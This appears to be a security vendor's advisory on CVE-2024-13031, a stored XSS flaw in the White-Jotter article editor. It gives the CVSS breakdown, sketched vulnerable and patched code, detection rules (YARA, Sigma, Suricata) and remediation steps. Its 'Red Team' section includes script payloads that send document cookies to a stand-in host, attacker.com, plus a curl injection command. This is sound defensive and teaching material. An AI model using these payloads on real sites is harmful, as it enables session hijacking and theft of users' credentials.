CVE-2024-13031
Executive Summary
CVE-2024-13031 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Antabot White-Jotter application, affecting versions up to and including 0.2.2. The flaw resides in the /admin/content/editor endpoint, where the Article Content Editor fails to properly sanitize user-supplied input. An attacker can inject arbitrary JavaScript code into the editor, which is then stored and executed in the browsers of other users who view the affected content. This can lead to session hijacking, credential theft, or defacement. The vulnerability is remotely exploitable with low complexity, requiring no authentication but user interaction. A public proof-of-concept (PoC) is available, increasing the risk of active exploitation. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby) and is specific to the White-Jotter application source code.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Attack Vector (AV): Network – The attack can be launched remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must interact with the crafted content (e.g., view the article).
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify content (e.g., defacement).
- Availability (A): None – No impact on system availability.
Threat Level: Medium. The availability of a public PoC and the lack of a patch elevate the risk, especially for internet-facing instances.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the Article Content Editor. The /admin/content/editor endpoint likely accepts HTML or rich text input for article content. The application fails to sanitize or encode user-supplied data before storing it in the database and later rendering it in the browser.
Attack Flow:
- An attacker navigates to
/admin/content/editor(or a similar interface) and submits a new article. - In the content field, the attacker injects a malicious payload, such as
<script>alert('XSS')</script>or a more sophisticated payload to steal cookies. - The application stores the payload in the database without proper sanitization.
- When an administrator or other user views the article, the browser executes the injected script.
- The script can perform actions like exfiltrating session cookies, redirecting the user, or modifying the page content.
Root Cause: Lack of output encoding and input validation in the editor component. The application likely uses a rich text editor (e.g., CKEditor, TinyMCE) but does not enforce server-side sanitization.
Vulnerable vs. Patched Code
Since no official patch is available, the following demonstrates the vulnerable code pattern and a potential fix.
Vulnerable Code (Server-Side, e.g., Python/Flask):
@app.route('/admin/content/editor', methods=['POST'])
def save_article():
content = request.form['content']
# Directly storing user input without sanitization
db.execute("INSERT INTO articles (content) VALUES (?)", (content,))
return redirect('/admin/articles')
Patched Code (Using a library like bleach):
import bleach
@app.route('/admin/content/editor', methods=['POST'])
def save_article():
content = request.form['content']
# Sanitize HTML input, allowing only safe tags
sanitized_content = bleach.clean(content, tags=['p', 'b', 'i', 'u', 'a'], attributes={'a': ['href']})
db.execute("INSERT INTO articles (content) VALUES (?)", (sanitized_content,))
return redirect('/admin/articles')
Client-Side Rendering (Vulnerable):
// Directly inserting user content into DOM
document.getElementById('article-content').innerHTML = userContent;
Patched Client-Side:
// Using textContent to prevent HTML injection
document.getElementById('article-content').textContent = userContent;
// Or use DOMPurify for sanitization
document.getElementById('article-content').innerHTML = DOMPurify.sanitize(userContent);
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of White-Jotter <= 0.2.2.
- Access to the
/admin/content/editorendpoint (no authentication required).
Exploit Steps:
- Craft Payload: Create a malicious JavaScript payload. Example to steal cookies:
<script> var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + document.cookie; </script> - Submit Article: Send a POST request to
/admin/content/editorwith the payload in thecontentfield.curl -X POST http://target.com/admin/content/editor -d "content=<script>alert('XSS')</script>" - Trigger Execution: Wait for an administrator or user to view the article. The script executes in their browser.
Advanced Payload (Session Hijacking):
<script>
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie})
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for unusual POST requests to
/admin/content/editorcontaining<script>tags or other HTML event handlers. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Apply input validation and output encoding on the server side.
- Use a security library like DOMPurify or OWASP Java Encoder.
- Disable the editor for unauthenticated users if possible.
- Regularly update the application and monitor for patches.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- POST requests to
/admin/content/editorwith HTML/JavaScript payloads.
- File IOCs:
- Log entries showing
<script>tags in thecontentfield.
- Log entries showing
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser.
- Unauthorized changes to article content.
Detection Engineering
YARA Rule
rule CVE_2024_13031_XSS_Payload {
meta:
description = "Detects XSS payloads targeting White-Jotter editor"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13031"
strings:
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: CVE-2024-13031 XSS Attempt in White-Jotter Editor
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /admin/content/editor with XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/content/editor'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13031 XSS Attempt in White-Jotter Editor"; flow:to_server; content:"POST"; http_method; content:"/admin/content/editor"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Editor: If possible, temporarily disable the
/admin/content/editorendpoint until a patch is applied. - Implement WAF Rules: Block requests containing
<script>tags or event handlers in thecontentparameter. - Apply Input Sanitization: Use a library like DOMPurify (client-side) or bleach (server-side) to sanitize HTML input.
Long-Term Fixes:
- Vendor Patch: Await an official patch from Antabot. Monitor their repository or website for updates.
- Code Review: Conduct a security audit of the editor component to identify and fix all XSS vectors.
- CSP Implementation: Add a Content Security Policy header to restrict script sources.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; - User Education: Train administrators to avoid clicking on suspicious content.
Workaround:
- Restrict access to the editor endpoint via IP whitelisting or VPN.
Valters IT
Securing Digital Frontiers